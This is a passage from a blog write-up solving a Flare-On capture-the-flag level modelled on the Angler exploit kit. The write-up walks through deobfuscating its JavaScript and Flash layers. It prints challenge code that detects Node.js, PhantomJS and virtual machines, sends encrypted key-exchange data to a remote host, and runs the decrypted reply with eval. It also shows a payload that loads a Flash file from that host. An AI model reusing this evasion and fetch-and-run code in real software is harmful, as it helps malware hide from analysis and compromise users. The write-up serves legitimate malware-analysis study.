            a = !false;
        } catch (m) {
            a = false;
        };
        return a;
    };

    function Il1Il1Il1b() {//Node.js
        var a = false;
        try {
            var b = window;
            if (typeof b === "undefined") {
                a = true;
            }
        } catch (z) {};

        if (!a) {
            try {
                var c = process;
                if (typeof c === "object" && c + '' === "[object process]") {
                    a = true;
                }
            } catch (y) {};
        }
        return a;
    };
 
    function Il1Il1Il1c() {//PhantomJS
        var a = false;
        try {
            var d = window;
            var e = d["outerWidth"];
            var f = d["outerHeight"];
            if (e === 0 && f === 0) {
                a = true;
            }
        } catch (x) {
            a = true
        };

        if (!a) {
            try {
                var g = window;
                a = !!g["callPhantom"]
            } catch (w) {};
        }
        return a;
    };

    this.Mi = Il1Il1Il1a();
    this.pA = Il1Il1Il1b();
    this.CA = Il1Il1Il1c();
}

I only recognized that it detects PhantomJS and Node.js, there is another engine it tries to detect but I didn't recognize what is it.

    function Il1Il1Il1f() {
        try {
            var a = performance.now() / 1000;
        } catch (e) {
            return 0;
        }

        var b = performance.now() / 1000 - a;
        for (var i = 0; i < 10; i++) {
            b = Il1Il1Il1d(b, performance.now() / 1000 - a);
        }

        var c = Math["round"](1 / b);
        if (Math["abs"](c - 10000000) < 100) {
            return 1;
        } else if (Math["abs"](c - 3579545) < 100) {
            return 1;
        } else if (Math["abs"](c - 14318180) < 100) {
            return 1;
        }

        try {
            var d = screen;
            if ((d["width"] < (1280)) || (d["height"] < (720))) return 1;
        } catch (x) {
            return 1;
        }

        return 0;
    };

    if (Il1Il1Il1f() >= 1) return 1;
    if (Il1Il1Il1f() >= 1) return 1;
    if (Il1Il1Il1e("c:\windows\System32\drivers\vmhgfs.sys") == 1) return 1;
    if (Il1Il1Il1e("c:\Windows\System32\drivers\VBoxMouse.sys") == 1) return 2;
    if (Il1Il1Il1e("c:\Windows\System32\drivers\vmusbmouse.sys") == 1) return 1;
    if (Il1Il1Il1e("c:\Windows\System32\drivers\VBoxVideo.sys") == 1) return 2;
    if (Il1Il1Il1e("c:\Windows\System32\drivers\vmmouse.sys") == 1) return 1;
    if (Il1Il1Il1e("c:\Windows\System32\drivers\VBoxSF.sys") == 1) return 2;
    if (Il1Il1Il1e("c:\Windows\System32\drivers\vm3dmp.sys") == 1) return 1;
    if (Il1Il1Il1e("c:\Windows\System32\drivers\VBoxGuest.sys") == 1) return 2;

    return 0;
}

It tries to detect VM by checking some drivers as the above figure shows.

Il1Iza = function() {
    var a = new Il1Iya();
    var b = JSON,
        c = XMLHttpRequest;
    var w = Il1Iv,//RC4
        y = Il1IZ,//Base64 Encode
        z = Il1IY,
        x = new Il1Isa(),
        v = new Il1Iwa(),//Detect PhantomJS and others
        u = Il1Iqa();//Detect VM
    try {
        var d = {
            g: a.L["toString"](2 * 8),
            A: a.Jb["toString"]((' ' ["charCodeAt"](0)) / 2),
            p: a.ha["toString"]((('2' ["charCodeAt"](0)) - 2) / 3),
        };
        d = y(w('' ["ggg"](), b["stringify"](d)));//ggg = "flareon_is_so_cute"
        var e = new c;
        e["open"]("POST", x.gW, !false);//gW = "http://10.14.56.20:18089/i_knew_you_were_trouble"
        e["setRequestHeader"](x.Yw, x.dc)//Yw = "Content-type"; dc = "application/json; charset=utf-8";
        e["setRequestHeader"](x.KJ, d["length"]);//this.KJ = "Content-length";
        e["onreadystatechange"] = function() {
            if (e["readyState"] === ("send"["length"]) && e["status"] === (200)) {
                var d = b["parse"](w('' ["hhh"](), z(unescape(e["responseText"]))));//hhh = "how_can_you_not_like_flareon"
                var f = Il1Illl1I1l.Il1Iu;
                var g = new f(d.B, 16);
                var h = g.Il1IX(a.ic, a.ha);
                var j = w(h.toString(16), d.fffff);
                if (u < 1) {
                    eval(j);
                }
            }
        };
        if (!v.Mi && !v.pA && !v.CA) {
            e["send"](d);
        }
    } catch (f) {};
}

This is the main function for layer three. After detecting VM, PhantomJS and others. It encrypts the three parameters g, A and p for the Diffie-Hellman algorithm using RC4 with key “flareon_is_so_cute”, Then sends the encrypted data after being encoded using Base64 to the address "http://10.14.56.20:18089/i_knew_you_were_trouble". Then it decrypts the response data with the key “how_can_you_not_like_flareon”.

From the PCAP file we can get the sent parameters to be as follows:

g :"91a812d65f3fea132099f2825312edbb"
A :"16f2c65920ebeae43aabb5c9af923953"
p :"3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e"

And the decrypted response:



The parameter B then followed by data encrypted using Diffie–Hellman. Now we have to break Diffie–Hellman to get the encrypted data, which at first seems really not feasible. But after some googling I found a great article by Kaspersky that talks about Angler-Exploit Kit and how they attacked it’s D-H protocol implementation. You can check the article from here. The article explains everything and you can work from there to crack D-H.

After decrypting the data I got the following javascript code:

"var txt = '<object type="application/x-shockwave-flash" data="http://10.14.56.20:18089/will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh" allowScriptAccess=always width="1" height="1">';
 txt = txt + '</object>';
 try {
 document.getElementById("T6Fe3dfg").innerHTML = txt;
 } catch (e) {};
alert("Congratz! Wooohooooo, you've done it!\n\nGoing thus far, you have already acquired the basic skillset of analyzing EK's traffic as well as any other web attacks along the way. 
You should be proud of yourself!\n\nIt is not the end though; it's only the beginning of our exciting journey!\n\nNow would be a good time to take a breather and grab some beer, coffee, redbull,
 monster, or water.\n\n\n\nClick 'OK' when you're ready to show us what you're made of!");
alert("Cool, seems like you're ready to roll!\n\n\n\nThe key for part2 of the challenge is:\n'HEAPISMYHOME'\n\n\n\nYou will need this key to proceed with the flash challenge, which is also included in this pcap.\n\n
Good luck! May the force be with you!");"

Now it’s time for working with flash files :)

Part Two




Using the Password from part one, I unlocked a second SWF file.



The second SWF is obfuscated using secureSWF. But using JPEXS deobufscation function. The file can be full deobfuscated.



The flash file expected three loader variables flare, x and y. x will be used as decryption key for the resources and we will get to y later. At this point I had no clue where to get x and y and seemed like a dead end. Then I noticed a resource has the name “Int3lIns1de_t3stImgurvnUziJP”. Which refers to this image hosted on the site Imagur



Well that seems not to be the end!

Later on I noticed that the image file has the same size of the resource “Int3lIns1de_t3stImgurvnUziJP” and by looking I found two RC4 functions. one decrypts two resources only, one of them is “Int3lIns1de_t3stImgurvnUziJP”. And the other decrypts the rest of the resources. The two functions differ in how they use the supplied key, but that is not really important to know.

So it became clear that the image is the decrypted resource “Int3lIns1de_t3stImgurvnUziJP”. By XORing the encrypted and decrypted image we can get the RC4 table that was generated to encrypt the file. And so we can decrypt any other file that was encrypted using the same key but have to be smaller in size than the image file.




After decrypting the second resource I got x and y. x will be used as mentioned before to decrypt the resources and y will be used to build our final SWF file using the decrypted resources. And the last trick in the long long journey is the challenge creates an array of size 2048 and fill it with 2048 blocks of data that starts with SWF, one of the blocks is replace by the last decrypted SWF file. Then it loads all of the 2048 using loadBytes. That is intended to confuse you if you used a tool that dumps SWF files loaded by loadBytes.

The last decrypted SWF contains our last email "angl3rcan7ev3nprim3@flare-on.com". And indeed that level was based on Angler Exploit Kit.

Prize

This year's prize is an awesome police-style badge. 

Thanks for FLARE Team for the efforts in hosting these challenges.

No comments:

Post a Comment